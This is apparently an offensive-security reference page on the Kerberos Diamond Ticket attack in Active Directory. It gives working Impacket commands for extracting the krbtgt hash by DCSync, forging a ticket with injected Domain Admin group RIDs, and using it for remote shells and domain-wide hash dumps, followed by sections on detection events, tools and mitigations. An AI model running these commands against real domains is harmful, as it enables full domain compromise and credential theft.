Skip to content

Diamond Ticket

What Is a Diamond Ticket?

A Diamond Ticket is a refinement of the Golden Ticket attack designed to evade the detections that Golden Tickets reliably trigger. Instead of forging a TGT entirely from scratch, you:

  1. Request a real, legitimate TGT from the KDC using valid user credentials
  2. Decrypt it using the krbtgt hash
  3. Modify the PAC to add the privileges you want (Domain Admin groups, etc.)
  4. Re-encrypt and re-inject the modified ticket

The result is a ticket the KDC genuinely issued — it just doesn’t know its PAC was tampered with after the fact.

The core advantage over Golden Ticket: because a real AS-REQ was sent, a real Event ID 4768 fires at the domain controller. The “impossible session” pattern that makes Golden Tickets detectable — a TGS-REQ (service ticket request) with no preceding AS-REQ (initial login request) for the same account, meaning the TGT was never legitimately issued — disappears entirely.

How Does a Diamond Ticket Attack Work?

A Diamond Ticket starts from a real TGT rather than a forged one. The attacker authenticates normally, decrypts the TGT the KDC returns using the stolen krbtgt key, edits the PAC to add privileged group memberships, re-encrypts it, and presents it as usual. Because a genuine AS-REQ preceded the request, the domain controller logs a complete and ordinary logon sequence.

    sequenceDiagram
    participant A as Attacker
    participant KDC as KDC
    participant S as Service

    A->>KDC: AS-REQ (real credentials for jdoe)
    KDC-->>A: Real TGT (encrypted with krbtgt key)
    Note over A: Has krbtgt hash — decrypt TGT
    Note over A: Modify PAC: add Domain Admin groups
    Note over A: Re-encrypt with krbtgt key
    A->>KDC: TGS-REQ (modified TGT)
    Note over KDC: Decrypts TGT with krbtgt key ✓
    Note over KDC: Trusts modified PAC — issues real ticket
    KDC-->>A: Genuine Service Ticket
    A->>S: AP-REQ
    S-->>A: Access granted as Administrator
  

The KDC sees a completely normal session: AS-REQ from jdoe, TGT issued, TGS-REQ from jdoe. What it cannot see is that the TGT’s PAC was modified between the AS-REP (Authentication Service Response — the KDC’s reply to the initial login request, containing the TGT) and the TGS-REQ. The KDC trusts the PAC because it decrypts correctly — as far as it can tell, the krbtgt key sealed it, so the contents must be legitimate.

What Does a Diamond Ticket Attack Require?

  • krbtgt NTLM hash or AES256 key — same as Golden Ticket. Required to decrypt the TGT the KDC issues and to re-sign the modified PAC.
  • Valid domain credentials — a username and password (or hash) for any domain account. Used to request the initial legitimate TGT. The account does not need any special privileges.
  • Domain SID — same S-1-5-21-<three numbers> identifier used in Golden and Silver Tickets.

Getting the krbtgt hash is identical to Golden Ticket — use DCSync:

secretsdump.py -just-dc-user krbtgt radiant.local/Administrator:'Admin@Radiant1!'@dc01.radiant.local

Refer to the Golden Ticket note for the full hash extraction walkthrough.

Forging the Ticket

ticketer.py with the -request flag performs the full Diamond Ticket flow in one step: it authenticates as the specified user, receives the real TGT, decrypts it with the krbtgt hash, modifies the PAC, and saves the result. The \ at the end of each line is bash’s line continuation character — the entire block runs as one command.

ticketer.py \
-request \
-user jdoe \
-password 'Password123!' \
-nthash 819af826bb148e603acb0f33d17632f8 \
-domain-sid S-1-5-21-3623811015-3361044348-30300820 \
-domain radiant.local \
-groups 512,519,518,520,513 \
Administrator

The flags:

  • -request — triggers the Diamond Ticket flow instead of pure offline forging
  • -user / -password — the real domain account used to get the initial TGT from the KDC
  • -nthash — the krbtgt NT hash used to decrypt and re-sign the ticket
  • -groups — group RIDs to inject into the PAC: 512 = Domain Admins, 519 = Enterprise Admins, 518 = Schema Admins, 520 = Group Policy Creator Owners, 513 = Domain Users
  • Administrator — the username that will appear in the modified PAC (does not need to match the account used to request the TGT)
Impacket v0.12.0 - Copyright Fortra, LLC

[*] Getting TGT for user
[*] Decrypting ticket using supplied credentials
 ("supplied credentials" here means jdoe's password/hash is used to unwrap the AS-REP session key,
while the krbtgt hash decrypts the TGT body itself — two separate decryption steps)
[*] Customizing ticket for radiant.local/Administrator
[*]     PAC_LOGON_INFO
[*]     PAC_CLIENT_INFO_TYPE
[*]     EncTicketPart
[*] Signing/Encrypting final ticket
[*]     PAC_SERVER_CHECKSUM
[*]     PAC_PRIVSVR_CHECKSUM
[*]     EncTicketPart
[*]     EncTGSRepPart
[*] Saving ticket in Administrator.ccache

To use an NT hash instead of a plaintext password for the requesting account. Note that this command has two different hash flags for two different purposes — this is the most common source of confusion with Diamond Ticket on Linux:

ticketer.py \
-request \
-user jdoe \
-hashes :a87f3a337d73085c45f9416be5787d86 \
-nthash 819af826bb148e603acb0f33d17632f8 \
-domain-sid S-1-5-21-3623811015-3361044348-30300820 \
-domain radiant.local \
-groups 512,519,518,520,513 \
Administrator
  • -hashes :a87f3a337d73085c45f9416be5787d86jdoe’s NT hash, used to authenticate as jdoe and request the initial TGT from the KDC. The colon-prefix format is standard Impacket: left of the colon is the LM hash (left empty), right is the NT hash.
  • -nthash 819af826bb148e603acb0f33d17632f8 — the krbtgt NT hash, used to decrypt the TGT the KDC returns and re-sign the modified PAC.

Using the Ticket

Identical to Golden Ticket — inject and use with any Kerberos-aware tool.

export KRB5CCNAME=/tmp/Administrator.ccache

# Remote shell
psexec.py radiant.local/[email protected] -k -no-pass

# File shares
smbclient.py radiant.local/[email protected] -k -no-pass

# Dump all domain hashes
secretsdump.py radiant.local/[email protected] -k -no-pass

Verification

klist
Ticket cache: FILE:/tmp/Administrator.ccache
Default principal: [email protected]

Valid starting       Expires              Service principal
03/11/2026 09:00:00  03/11/2026 19:00:00  krbtgt/[email protected]

The key difference from Golden Ticket: the expiry is 10 hours out, not 10 years. This is the real TGT’s lifetime — the KDC set it when it issued the original ticket. The normal lifetime is what makes Diamond Tickets blend in with legitimate traffic.

Operational Notes

Requires live KDC contact during forging. Unlike Golden Ticket, you cannot create a Diamond Ticket fully offline. The initial AS-REQ needs to reach a domain controller. This means the machine you run the attack from must have network access to a DC.

The requesting account’s credentials are used but not elevated. The real TGT is requested as jdoejdoe’s actual privileges are irrelevant. The krbtgt hash lets you swap out the PAC contents entirely after the fact. Any valid domain account works as the requesting identity.

Ticket lifetime is real and enforced. Because the base ticket came from the KDC, it expires when the KDC says it does — typically 10 hours. You cannot extend this without requesting a new base ticket. This is operationally different from Golden Tickets where you set an arbitrary lifetime.

PAC comparison is still a viable detection path. While Diamond Tickets defeat session-based detection, a defender who compares the claimed group memberships in the ticket’s PAC against what the user actually has in Active Directory will spot the discrepancy. Tools like MDI perform this comparison.

AES is strongly preferred. Requesting the initial TGT and re-encrypting with AES keeps the ticket consistent with modern domain defaults. Using RC4 on a domain that enforces AES is immediately anomalous.

How Do You Detect and Defend Against Diamond Tickets?

What Logs Does a Diamond Ticket Generate?

  • Event ID 4768 at the DC — a real AS-REQ is sent for the requesting account (jdoe). This is the defining difference from Golden Ticket — the AS exchange genuinely happened.
  • Event ID 4769 at the DC — TGS-REQ fires when the modified TGT is presented to request service tickets.
  • Event ID 4624 at target service hosts — logon events for the impersonated user (Administrator).
  • Sysmon Event ID 10 on the DC if hash was extracted via LSASS rather than DCSync.

What Logs Does a Diamond Ticket Not Generate?

  • The PAC modification itself — decrypting, editing, and re-encrypting the PAC happens entirely on the attacker’s machine. No event fires for PAC tampering.
  • No session anomaly at the DC — the 4768 and 4769 pair looks completely normal. There is no “impossible session” to hunt for. This is the entire point of the technique.
  • The difference between jdoe requesting a TGT and Administrator appearing in downstream service access is the only visible seam, and only if someone correlates the 4768 username against the logon username at the service host.

How Do You Mitigate Diamond Tickets?

  • Protect the krbtgt hash — same as Golden Ticket. Diamond Tickets require the krbtgt key. No key, no attack. DC protection, Credential Guard, and PAW (Privileged Access Workstations — dedicated hardened machines used only for admin tasks, never for email or browsing, so a phishing email or drive-by download can’t pivot to DC-level credentials) are the primary controls.
  • Enable PAC verification on sensitive services — normally, a service just trusts whatever is in the ticket’s PAC without checking back with the KDC. PAC verification forces the service to call the KDC via NETLOGON to confirm the PAC is genuine. The KDC then compares the PAC group memberships against the actual user record in AD and rejects any that don’t match.
  • Rotate krbtgt twice — invalidates the base key used to re-sign the modified ticket. Same two-pass rotation requirement as Golden Ticket.
  • Enforce AES-only Kerberos — RC4 Diamond Tickets stand out in AES-only environments.

Detection Tools

  • Microsoft Defender for Identity (MDI) — has a dedicated Diamond Ticket detection that compares PAC group memberships against the live directory. When the ticket claims Domain Admin membership for jdoe but jdoe isn’t in Domain Admins, MDI fires. This is the most reliable control specifically against Diamond Tickets.
  • Microsoft Sentinel / Splunk — correlate the username in Event ID 4768 against the username in subsequent Event ID 4624 events on service hosts. A 4768 for jdoe followed immediately by a 4624 for Administrator on a DC — with no separate Administrator 4768 — is a strong indicator.
  • Zeek / network monitoring — monitor for the same DRSUAPI (Directory Replication Service Remote Protocol API) traffic patterns as Golden Ticket to catch the DCSync used to extract the krbtgt hash before the attack even starts.
  • CrowdStrike / EDR — behavioral detection on Rubeus diamond action and the ticketer.py -request pattern. Catching the forging step is more reliable than hunting the ticket in use.

References

Original Research

  • Charlie Clark (Semperis) — “Digging into Diamond Tickets” (2022); introduced the Diamond Ticket technique as a detection-evasion refinement of Golden Ticket, exploiting the KDC’s inability to detect post-issuance PAC modification

Tools

  • Impacket — Python library and scripts for network protocols, including ticketer.py -request (Diamond Ticket flow) and secretsdump.py (krbtgt hash extraction)
  • Rubeus — C# Kerberos toolkit (diamond action, /tgtdeleg)
  • mimikatz — Windows credential tool (lsadump::dcsync for krbtgt hash extraction)

Specifications